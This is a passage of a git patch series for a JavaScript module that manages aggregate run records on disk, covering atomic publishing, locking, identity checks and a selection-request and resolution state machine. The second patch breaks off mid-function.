LOCK_NAME) { + claimTemps.push(name); + continue; + } + if (!name.endsWith('.json')) { + failAnchor('aggregate_run_foreign_entry', 'claims', + 'The claims directory contains a foreign entry.'); + } + const runId = name.slice(0, -'.json'.length); + assertRunId(runId, 'claims'); + claims.push(runId); + } + await removeStaleTemporaries(claimsToken, claimTemps); + const runTemps = []; + const runs = []; + for (const name of runNames) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name) + || name === LOCK_NAME) { + runTemps.push(name); + continue; + } + assertRunId(name, 'runs'); + const child = await openDirectoryHandle(childPath(runsToken.path, name), 'runs'); + await child.handle.close().catch(() => {}); + runs.push(name); + } + await removeStaleTemporaries(runsToken, runTemps); + if (claims.length > MAX_AGGREGATE_RUNS || runs.length > MAX_AGGREGATE_RUNS) { + failAnchor('aggregate_run_flood', 'runs', + `The aggregate run root must not exceed ${MAX_AGGREGATE_RUNS} runs.`); + } + return { claims, runs }; +} + +function allowedRunFile(name) { + return name === ANCHOR_NAME || name === COORDINATION_NAME || name === STAMP_NAME + || name === LOCK_NAME + || capturedTest(TEMP_NAME_PATTERN, name) + || capturedTest(LOCK_OWNER_NAME_PATTERN, name); +} + +async function auditRunLayout(dirToken) { + const names = await enumerateDirectory(dirToken, MAX_AGGREGATE_RUN_DIRECTORY_ENTRIES, 'directory'); + const temporaries = []; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + temporaries.push(name); + continue; + } + if (!allowedRunFile(name)) { + failAnchor('aggregate_run_foreign_entry', 'directory', + 'The aggregate run directory contains a foreign entry.'); + } + } + return { names, temporaries }; +} + +async function loadCompleteRun(dirToken, runId) { + const cleaned = await auditRunLayout(dirToken); + await removeStaleTemporaries(dirToken, cleaned.temporaries); + const names = cleaned.names.filter((name) => !capturedTest(TEMP_NAME_PATTERN, name) + && !capturedTest(LOCK_OWNER_NAME_PATTERN, name) && name !== LOCK_NAME); + if (!names.includes(ANCHOR_NAME) || !names.includes(COORDINATION_NAME) || !names.includes(STAMP_NAME)) { + return { complete: false, names }; + } + const anchorOpened = await readBoundedFile(dirToken, ANCHOR_NAME, MAX_AGGREGATE_ANCHOR_BYTES, ANCHOR_NAME); + const coordOpened = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (anchorOpened === null || coordOpened === null) { + failAnchor('aggregate_run_record_corruption', 'directory', + 'A committed aggregate run file is missing.'); + } + const anchor = parseStoredAnchor(anchorOpened.bytes); + const coordination = parseStoredCoordination(coordOpened.bytes); + if (anchor.record.run_id !== runId || coordination.record.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'run_id', + 'Stored aggregate run files do not bind the claimed run id.'); + } + if (coordination.record.anchor_digest !== anchor.record.canonical_digest) { + failAnchor('aggregate_run_identity_mismatch', 'anchor_digest', + 'Coordination does not bind the stored anchor digest.'); + } + await verifyCreationStamp(dirToken, anchor.record); + return { + complete: true, + names, + anchor, + coordination, + anchorIdentity: { path: anchorOpened.path, dev: anchorOpened.stat.dev, ino: anchorOpened.stat.ino }, + }; +} + +async function publishInitialRunFiles(dirToken, prepared) { + const existing = await loadCompleteRun(dirToken, prepared.record.run_id); + if (existing.complete) { + if (existing.anchor.record.canonical_digest !== prepared.record.canonical_digest) { + failAnchor('aggregate_run_identity_conflict', 'run_id', + 'Run id already binds a different aggregate anchor.'); + } + return { created: false, anchor: existing.anchor, coordination: existing.coordination }; + } + const coord = initialCoordination(prepared.record); + const stamp = encodeRecord( + stampRecord(prepared.record.run_id, prepared.record.canonical_digest, RANDOM_BYTES(16).toString('hex')), + MAX_AGGREGATE_STAMP_BYTES, + STAMP_NAME, + ); + const publishedAnchor = await exclusivePublish(dirToken, ANCHOR_NAME, prepared.bytes, ANCHOR_NAME); + if (!publishedAnchor.published) { + const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', ANCHOR_NAME, + 'An existing aggregate run file could not be verified.'); + } + if (loaded.anchor.record.canonical_digest !== prepared.record.canonical_digest) { + failAnchor('aggregate_run_identity_conflict', 'run_id', + 'Run id already binds a different aggregate anchor.'); + } + return { created: false, anchor: loaded.anchor, coordination: loaded.coordination }; + } + const publishedCoord = await exclusivePublish(dirToken, COORDINATION_NAME, coord.bytes, COORDINATION_NAME); + if (!publishedCoord.published) { + const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'An existing coordination file could not be verified.'); + } + return { created: false, anchor: loaded.anchor, coordination: loaded.coordination }; + } + const publishedStamp = await exclusivePublish(dirToken, STAMP_NAME, stamp, STAMP_NAME); + if (!publishedStamp.published) { + await verifyCreationStamp(dirToken, prepared.record); + } + const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', 'directory', 'Published aggregate run files did not verify.'); + } + return { created: true, anchor: loaded.anchor, coordination: loaded.coordination }; +} + +function claimsMatch(existing, prepared, marker) { + return existing.run_id === prepared.record.run_id + && existing.anchor_digest === prepared.record.canonical_digest + && existing.submission_idempotency_key === prepared.record.submission_idempotency_key + && existing.root_marker_nonce === marker.record.nonce + && existing.root_marker_digest === marker.record.canonical_digest; +} + +function conflictExistingClaim(existing, prepared, marker) { + if (claimsMatch(existing, prepared, marker)) return null; + if (existing.submission_idempotency_key === prepared.record.submission_idempotency_key + && existing.anchor_digest !== prepared.record.canonical_digest) { + failAnchor('aggregate_run_idempotency_conflict', 'submission_idempotency_key', + 'Submission key already binds a different aggregate anchor.'); + } + failAnchor('aggregate_run_identity_conflict', 'run_id', + 'Run id already binds a different aggregate claim.'); +} + +async function readClaim(claimsToken, runId) { + const opened = await readBoundedFile(claimsToken, claimNameFor(runId), MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + if (opened === null) return null; + const parsed = parseStoredClaim(opened.bytes); + return { ...parsed, stat: opened.stat, path: opened.path }; +} + +async function completeSubmit(ctx, prepared) { + const { root, marker, claims, runs } = ctx; + const namespace = await auditNamespace(claims, runs); + const runId = prepared.record.run_id; + const hasClaim = namespace.claims.includes(runId); + const hasRun = namespace.runs.includes(runId); + if (hasRun && !hasClaim) { + failAnchor('aggregate_run_claim_conflict', 'run_id', + 'An empty or foreign run directory without an exact durable claim is never adopted.'); + } + let claimRecord; + let claimIdentity; + if (!hasClaim) { + if (namespace.claims.length >= MAX_AGGREGATE_RUNS) { + failAnchor('aggregate_run_flood', 'claims', + `The aggregate run root must not exceed ${MAX_AGGREGATE_RUNS} claims.`); + } + const claim = bindClaimPayload({ + schema: AGGREGATE_RUN_CLAIM_SCHEMA_ID, + run_id: runId, + anchor_digest: prepared.record.canonical_digest, + submission_idempotency_key: prepared.record.submission_idempotency_key, + root_marker_nonce: marker.record.nonce, + root_marker_digest: marker.record.canonical_digest, + nonce: RANDOM_BYTES(16).toString('hex'), + }); + const published = await exclusivePublish(claims, claimNameFor(runId), claim.bytes, 'claim'); + if (!published.published) { + const existing = await readClaim(claims, runId); + if (existing === null) { + failAnchor('aggregate_run_unreadable', 'claim', 'A concurrent claim could not be read.'); + } + conflictExistingClaim(existing.record, prepared, marker); + claimRecord = existing.record; + claimIdentity = { path: existing.path, dev: existing.stat.dev, ino: existing.stat.ino }; + } else { + claimRecord = claim.record; + claimIdentity = { path: published.path, dev: published.dev, ino: published.ino }; + } + } else { + const existing = await readClaim(claims, runId); + if (existing === null) { + failAnchor('aggregate_run_unreadable', 'claim', 'A durable claim could not be read.'); + } + conflictExistingClaim(existing.record, prepared, marker); + claimRecord = existing.record; + claimIdentity = { path: existing.path, dev: existing.stat.dev, ino: existing.stat.ino }; + } + + const runPath = childPath(runs.path, runId); + if (!hasRun) { + await mkdirExclusive(runPath, 'run_id'); + await syncDirectory(runs.handle); + } + const dirToken = await openDirectoryHandle(runPath, 'directory'); + let runLock = null; + try { + runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); + const result = await publishInitialRunFiles(dirToken, prepared); + await reverifyDirectory(root, 'root'); + await reverifyDirectory(claims, 'claims'); + await reverifyDirectory(runs, 'runs'); + await reverifyDirectory(dirToken, 'directory'); + await reopenFileIdentity(claimIdentity, 'claim', MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + const markerAfter = await readAndParseMarker(root); + if (markerAfter === null || markerAfter.record.canonical_digest !== marker.record.canonical_digest + || !sameIdentity(markerAfter.stat, marker.stat)) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + return snapshotRecord({ + created: result.created, + record: result.anchor.record, + coordination: result.coordination.record, + claim: claimRecord, + }); + } finally { + if (runLock !== null) await releaseLock(dirToken, runLock, AGGREGATE_RUN_LOCK_SCHEMA_ID); + await dirToken.handle.close().catch(() => {}); + } +} + +async function mutateRun(ctx, runId, mutator) { + const { root, marker, claims, runs } = ctx; + const namespace = await auditNamespace(claims, runs); + if (!namespace.claims.includes(runId)) { + failAnchor('aggregate_run_not_found', 'run_id', 'No aggregate run exists for that run id.'); + } + const claim = await readClaim(claims, runId); + if (claim === null) { + failAnchor('aggregate_run_not_found', 'claim', 'No durable claim exists for that run id.'); + } + if (claim.record.root_marker_digest !== marker.record.canonical_digest + || claim.record.root_marker_nonce !== marker.record.nonce) { + failAnchor('aggregate_run_identity_mismatch', 'claim', + 'The durable claim does not bind this storage root marker.'); + } + if (!namespace.runs.includes(runId)) { + failAnchor('aggregate_run_not_found', 'run_id', + 'A durable claim without a complete run directory is not yet an aggregate run.'); + } + const dirToken = await openDirectoryHandle(childPath(runs.path, runId), 'directory'); + let runLock = null; + try { + runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); + const loaded = await loadCompleteRun(dirToken, runId); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', 'directory', + 'The claimed run directory is not a complete aggregate run.'); + } + if (loaded.anchor.record.canonical_digest !== claim.record.anchor_digest) { + failAnchor('aggregate_run_identity_mismatch', 'claim', + 'The durable claim does not match the stored aggregate anchor.'); + } + const result = await mutator(dirToken, loaded); + await reverifyDirectory(root, 'root'); + await reverifyDirectory(claims, 'claims'); + await reverifyDirectory(runs, 'runs'); + await reverifyDirectory(dirToken, 'directory'); + await reopenFileIdentity({ path: claim.path, dev: claim.stat.dev, ino: claim.stat.ino }, + 'claim', MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + const markerAfter = await readAndParseMarker(root); + if (markerAfter === null || !sameIdentity(markerAfter.stat, marker.stat) + || markerAfter.record.canonical_digest !== marker.record.canonical_digest) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + return result; + } finally { + if (runLock !== null) await releaseLock(dirToken, runLock, AGGREGATE_RUN_LOCK_SCHEMA_ID); + await dirToken.handle.close().catch(() => {}); + } +} + +async function publishCoordination(dirToken, next) { + await atomicPublish(dirToken, COORDINATION_NAME, next.bytes, COORDINATION_NAME); + const verified = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (verified === null || !equalBytes(verified.bytes, next.bytes)) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'Published coordination record did not verify.'); + } + return parseStoredCoordination(verified.bytes); +} + +function assertCapturedIdentities(token, audited) { + if (audited.marker.record.canonical_digest !== token.marker_digest + || audited.marker.record.nonce !== token.marker_nonce + || !sameIdentity(audited.marker.stat, { dev: token.marker_dev, ino: token.marker_ino })) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + if (!sameIdentity(audited.claims, { dev: token.claims_dev, ino: token.claims_ino })) { + failAnchor('aggregate_run_claims_swapped', 'claims', + 'The aggregate run claims directory was replaced during use.'); + } + if (!sameIdentity(audited.runs, { dev: token.runs_dev, ino: token.runs_ino })) { + failAnchor('aggregate_run_runs_swapped', 'runs', + 'The aggregate run runs directory was replaced during use.'); + } +} + +function assembleHandle(rootToken, auditedOpen) { + const token = capturedFreeze({ + path: rootToken.path, + dev: rootToken.dev, + ino: rootToken.ino, + marker_digest: auditedOpen.marker.record.canonical_digest, + marker_nonce: auditedOpen.marker.record.nonce, + marker_dev: auditedOpen.marker.stat.dev, + marker_ino: auditedOpen.marker.stat.ino, + claims_dev: auditedOpen.claims.dev, + claims_ino: auditedOpen.claims.ino, + runs_dev: auditedOpen.runs.dev, + runs_ino: auditedOpen.runs.ino, + }); + + async function operate(fn) { + return withRootChain(token, async () => { + const root = await reopenDirectory(token, 'root'); + let namespaceLock = null; + let claims = null; + let runs = null; + try { + const audited = await auditMarkedRoot(root, { createMissing: false }); + claims = audited.claims; + runs = audited.runs; + assertCapturedIdentities(token, audited); + namespaceLock = await acquireLock(root, AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID); + const ctx = { + root, + marker: audited.marker, + claims, + runs, + }; + const result = await fn(ctx); + const rootAfter = await reopenDirectory(token, 'root'); + try { + const auditedAfter = await auditMarkedRoot(rootAfter, { createMissing: false }); + try { + assertCapturedIdentities(token, auditedAfter); + } finally { + await auditedAfter.claims.handle.close().catch(() => {}); + await auditedAfter.runs.handle.close().catch(() => {}); + } + } finally { + await rootAfter.handle.close().catch(() => {}); + } + return result; + } finally { + if (namespaceLock !== null) await releaseLock(root, namespaceLock, AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID); + if (claims !== null) await claims.handle.close().catch(() => {}); + if (runs !== null) await runs.handle.close().catch(() => {}); + await root.handle.close().catch(() => {}); + } + }); + } + + return capturedFreeze({ + root: token.path, + marker_digest: token.marker_digest, + async submit(input) { + const prepared = parseSubmitInput(input); + return operate((ctx) => completeSubmit(ctx, prepared)); + }, + async getByRunId(runId) { + assertRunId(runId, 'run_id'); + return operate(async (ctx) => { + const loaded = await mutateRun(ctx, runId, async (_dir, current) => current); + return loaded.anchor.record; + }); + }, + async getCoordination(runId) { + assertRunId(runId, 'run_id'); + return operate(async (ctx) => { + const loaded = await mutateRun(ctx, runId, async (_dir, current) => current); + return loaded.coordination.record; + }); + }, + }); +} + +async function openMarkedRoot(rootPath, { initialize = false } = {}) { + const resolved = assertSafeRootPath(rootPath); + const opened = await openDirectoryHandle(resolved, 'root'); + try { + if (initialize) { + const names = await enumerateDirectory(opened, MAX_AGGREGATE_ROOT_ENTRIES, 'root'); + if (names.length !== 0) { + const kind = classifyUnmarkedRoot(names); + if (kind === 'p24' || kind === 'p25') { + failAnchor('aggregate_run_root_shared', 'root', + 'The aggregate run root must be separate from accepted P24 and P25 roots.'); + } + failAnchor('aggregate_run_root_foreign', 'root', + 'initializeAggregateRunAnchorRoot requires a completely empty private root.'); + } + const marker = bindMarkerPayload(RANDOM_BYTES(16).toString('hex')); + const published = await exclusivePublish(opened, MARKER_NAME, marker.bytes, 'marker'); + if (!published.published) { + failAnchor('aggregate_run_identity_conflict', 'root', + 'The aggregate run root marker could not be published exclusively.'); + } + await ensurePrivateDirectory(opened, CLAIMS_NAME, 'claims').then((token) => token.handle.close()); + await ensurePrivateDirectory(opened, RUNS_NAME, 'runs').then((token) => token.handle.close()); + await syncDirectory(opened.handle); + } + const audited = await auditMarkedRoot(opened, { createMissing: initialize }); + try { + return assembleHandle(opened, audited); + } finally { + await audited.claims.handle.close().catch(() => {}); + await audited.runs.handle.close().catch(() => {}); + } + } finally { + await opened.handle.close().catch(() => {}); + } +} + +export async function initializeAggregateRunAnchorRoot(rootPath) { + return openMarkedRoot(rootPath, { initialize: true }); +} + +export async function openAggregateRunAnchor(rootPath) { + return openMarkedRoot(rootPath, { initialize: false }); +} + +capturedFreeze(initializeAggregateRunAnchorRoot); +capturedFreeze(openAggregateRunAnchor); +capturedFreeze(deriveAggregateSubmissionKeyV1); +capturedFreeze(validateAggregateRunAnchorV1); +capturedFreeze(validateAggregateRunCoordinationV1); From f7e99fe9c95ad0ab7d1f148a62ca5509f57a4193 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:24:09 +0000 Subject: [PATCH 039/151] feat(run): publish absorbing selection records before state Close the high-level commitSelectionRequest, commitSelectionResolution, and commitResolvedPlan mutations. Each publishes a bounded canonical JSON record (selection-request, selection-reply, or resolved-plan), fsyncs, and verifies the full record before coordination references its digest. Exact orphan records are adopted; differing orphans conflict permanently; a committed missing, malformed, or digest- mismatched file is corruption. The state lattice is submitted@0 to awaiting_selection@1 to resolution_ready@2, or submitted@0 to resolution_ready@1 for a complete no-question plan. Revisions are exact, resolution_ready is absorbing, and identical retries are idempotent. There is no public digest CAS. --- .../mcp/v3/aggregate-run-anchor.mjs | 377 +++++++++++++++++- 1 file changed, 376 insertions(+), 1 deletion(-) diff --git a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs index 4e77c9b..96c6245 100644 --- a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs @@ -1309,7 +1309,8 @@ async function auditNamespace(claimsToken, runsToken) { function allowedRunFile(name) { return name === ANCHOR_NAME || name === COORDINATION_NAME || name === STAMP_NAME - || name === LOCK_NAME + || name === LOCK_NAME || name === REQUEST_RECORD_NAME || name === REPLY_RECORD_NAME + || name === PLAN_RECORD_NAME || capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name); } @@ -1521,6 +1522,222 @@ async function completeSubmit(ctx, prepared) { } } +function parseRequestIdentity(value, runId, field) { + const fields = closedObject(value, field, AGGREGATE_REQUEST_IDENTITY_KEYS); + assertRunId(fields.run_id, `${field}.run_id`); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', `${field}.run_id`, + 'Request identity must name the bound run.'); + } + if (typeof fields.request_id !== 'string' || !capturedTest(REQUEST_ID_PATTERN, fields.request_id)) { + failAnchor('invalid_format', `${field}.request_id`, 'Request identity id must match sel-<32hex>.'); + } + assertBoundDigest(fields.digest, `${field}.digest`); + return snapshotRecord(fields); +} + +function bindSelectionRequestRecord(runId, requestIdentity, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'record', 'Selection request record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'record'); + validateSelectionRequestV1(record); + const identity = selectionRequestIdentity(record); + if (identity.run_id !== runId || requestIdentity.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'request_identity.run_id', + 'Selection request record must bind the aggregate run id.'); + } + if (identity.request_id !== requestIdentity.request_id || identity.digest !== requestIdentity.digest) { + failAnchor('aggregate_run_identity_mismatch', 'request_identity', + 'Request identity does not match the canonical selection request record.'); + } + const bytes = encodeRecord(record, MAX_AGGREGATE_RECORD_BYTES, REQUEST_RECORD_NAME); + const recordDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, { + schema: 'codex-co-engineer.aggregate-request-record.v1', + run_id: runId, + request_id: identity.request_id, + digest: identity.digest, + body: record, + }); + return { + record: snapshotRecord(record), + bytes, + identity, + recordDigest, + binding: snapshotRecord({ + run_id: runId, + request_id: identity.request_id, + digest: identity.digest, + record_digest: recordDigest, + }), + }; +} + +function bindReplyRecord(runId, requestIdentity, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'reply_record', 'Selection reply record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'reply_record'); + const fields = closedObject(record, 'reply_record', AGGREGATE_SELECTION_REPLY_INPUT_KEYS); + if (fields.schema !== AGGREGATE_SELECTION_REPLY_SCHEMA_ID) { + failAnchor('invalid_format', 'reply_record.schema', + `Selection reply schema must be exactly "${AGGREGATE_SELECTION_REPLY_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'reply_record.run_id'); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'reply_record.run_id', + 'Selection reply record must bind the aggregate run id.'); + } + if (fields.request_id !== requestIdentity.request_id) { + failAnchor('aggregate_run_identity_mismatch', 'reply_record.request_id', + 'Selection reply record must bind the committed request id.'); + } + if (!Array.isArray(fields.answers)) { + failAnchor('invalid_type', 'reply_record.answers', 'Selection reply answers must be a dense JSON array.'); + } + const answers = []; + for (let index = 0; index < fields.answers.length; index += 1) { + const answer = closedObject(fields.answers[index], `reply_record.answers[${index}]`, + SELECTION_ANSWER_KEYS); + answers.push(snapshotRecord(answer)); + } + const payload = { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: fields.run_id, + request_id: fields.request_id, + answers, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SELECTION_REPLY, payload); + const stored = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record: stored, bytes: encodeRecord(stored, MAX_AGGREGATE_RECORD_BYTES, REPLY_RECORD_NAME) }; +} + +function bindPlanRecord(runId, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'resolved_plan_record', + 'Resolved plan record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'resolved_plan_record'); + const fields = closedObject(record, 'resolved_plan_record', AGGREGATE_RESOLVED_PLAN_INPUT_KEYS); + if (fields.schema !== AGGREGATE_RESOLVED_PLAN_SCHEMA_ID) { + failAnchor('invalid_format', 'resolved_plan_record.schema', + `Resolved plan schema must be exactly "${AGGREGATE_RESOLVED_PLAN_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'resolved_plan_record.run_id'); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'resolved_plan_record.run_id', + 'Resolved plan record must bind the aggregate run id.'); + } + if (fields.complete !== true) { + failAnchor('aggregate_run_phase_conflict', 'resolved_plan_record.complete', + 'Resolved plan records must be complete.'); + } + const payload = { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: fields.run_id, + complete: true, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, payload); + const stored = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record: stored, bytes: encodeRecord(stored, MAX_AGGREGATE_RECORD_BYTES, PLAN_RECORD_NAME) }; +} + +async function adoptOrPublishRecord(dirToken, name, prepared, field) { + const existing = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (existing === null) { + const published = await exclusivePublish(dirToken, name, prepared.bytes, field); + if (published.published) return { created: true, record: prepared.record }; + const raced = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (raced === null) { + failAnchor('aggregate_run_record_corruption', field, 'A committed record could not be read.'); + } + if (!equalBytes(raced.bytes, prepared.bytes)) { + failAnchor('aggregate_run_orphan_conflict', field, + 'A differing orphan record conflicts permanently.'); + } + return { created: false, record: prepared.record }; + } + if (!equalBytes(existing.bytes, prepared.bytes)) { + failAnchor('aggregate_run_orphan_conflict', field, + 'A differing orphan record conflicts permanently.'); + } + return { created: false, record: prepared.record }; +} + +function assertExpectedRevision(value, expected, field) { + if (!capturedHasOwn({ expected_revision: value }, 'expected_revision') && value === undefined) { + failAnchor('missing_key', field, 'expected_revision is mandatory.'); + } + if (!NUMBER_IS_SAFE_INTEGER(value)) { + failAnchor('invalid_format', field, 'expected_revision must be an exact safe integer.'); + } + if (value !== expected) { + failAnchor('aggregate_run_revision_conflict', field, + 'The expected revision does not match the committed coordination head.'); + } +} + +async function verifyCommittedRecord(dirToken, name, digest, field, kind) { + const opened = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (opened === null) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed aggregate record is missing.'); + } + let parsed; + try { + parsed = parseCanonicalObject(opened.bytes, field, MAX_AGGREGATE_RECORD_BYTES); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed aggregate record is malformed.'); + } + throw error; + } + if (kind === 'request') { + try { + validateSelectionRequestV1(parsed); + } catch (error) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed selection request record failed verification.'); + } + const identity = selectionRequestIdentity(parsed); + const recordDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, { + schema: 'codex-co-engineer.aggregate-request-record.v1', + run_id: identity.run_id, + request_id: identity.request_id, + digest: identity.digest, + body: parsed, + }); + if (recordDigest !== digest) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed selection request record digest does not match.'); + } + return; + } + if (kind === 'reply') { + const rebuilt = bindReplyRecord(parsed.run_id, { request_id: parsed.request_id }, { + schema: parsed.schema, + run_id: parsed.run_id, + request_id: parsed.request_id, + answers: parsed.answers, + }); + if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed selection reply record digest does not match.'); + } + return; + } + const rebuilt = bindPlanRecord(parsed.run_id, { + schema: parsed.schema, + run_id: parsed.run_id, + complete: parsed.complete, + }); + if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { + failAnchor('aggregate_run_record_corruption', field, + 'A committed resolved plan record digest does not match.'); + } +} + async function mutateRun(ctx, runId, mutator) { const { root, marker, claims, runs } = ctx; const namespace = await auditNamespace(claims, runs); @@ -1553,6 +1770,22 @@ async function mutateRun(ctx, runId, mutator) { failAnchor('aggregate_run_identity_mismatch', 'claim', 'The durable claim does not match the stored aggregate anchor.'); } + if (loaded.coordination.record.phase === 'awaiting_selection') { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, + loaded.coordination.record.selection_request_binding.record_digest, + REQUEST_RECORD_NAME, 'request'); + } + if (loaded.coordination.record.phase === 'resolution_ready') { + if (loaded.coordination.record.selection_request_binding !== null) { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, + loaded.coordination.record.selection_request_binding.record_digest, + REQUEST_RECORD_NAME, 'request'); + await verifyCommittedRecord(dirToken, REPLY_RECORD_NAME, + loaded.coordination.record.selection_reply_digest, REPLY_RECORD_NAME, 'reply'); + } + await verifyCommittedRecord(dirToken, PLAN_RECORD_NAME, + loaded.coordination.record.resolved_plan_digest, PLAN_RECORD_NAME, 'plan'); + } const result = await mutator(dirToken, loaded); await reverifyDirectory(root, 'root'); await reverifyDirectory(claims, 'claims'); @@ -1678,6 +1911,148 @@ function assembleHandle(rootToken, auditedOpen) { return loaded.coordination.record; }); }, + async commitSelectionRequest(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitSelectionRequest requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_REQUEST_KEYS); + assertRunId(fields.run_id, 'run_id'); + const requestIdentity = parseRequestIdentity(fields.request_identity, fields.run_id, 'request_identity'); + const prepared = bindSelectionRequestRecord(fields.run_id, requestIdentity, fields.record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 0, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'awaiting_selection' && sameBinding(current.selection_request_binding, prepared.binding)) { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, prepared.recordDigest, + REQUEST_RECORD_NAME, 'request'); + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'submitted' || current.revision !== 0) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitSelectionRequest requires submitted@0.'); + } + await adoptOrPublishRecord(dirToken, REQUEST_RECORD_NAME, prepared, REQUEST_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 1, + phase: 'awaiting_selection', + selection_request_binding: prepared.binding, + selection_reply_digest: null, + resolved_plan_digest: null, + }); + const coordination = await publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, + async commitSelectionResolution(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitSelectionResolution requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_RESOLUTION_KEYS); + assertRunId(fields.run_id, 'run_id'); + const requestIdentity = parseRequestIdentity(fields.request_identity, fields.run_id, 'request_identity'); + const reply = bindReplyRecord(fields.run_id, requestIdentity, fields.reply_record); + const plan = bindPlanRecord(fields.run_id, fields.resolved_plan_record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 1, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'resolution_ready' && current.revision === 2 + && current.selection_reply_digest === reply.record.canonical_digest + && current.resolved_plan_digest === plan.record.canonical_digest + && current.selection_request_binding !== null + && current.selection_request_binding.request_id === requestIdentity.request_id + && current.selection_request_binding.digest === requestIdentity.digest) { + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'awaiting_selection' || current.revision !== 1) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitSelectionResolution requires awaiting_selection@1.'); + } + if (current.selection_request_binding.request_id !== requestIdentity.request_id + || current.selection_request_binding.digest !== requestIdentity.digest + || current.selection_request_binding.run_id !== requestIdentity.run_id) { + 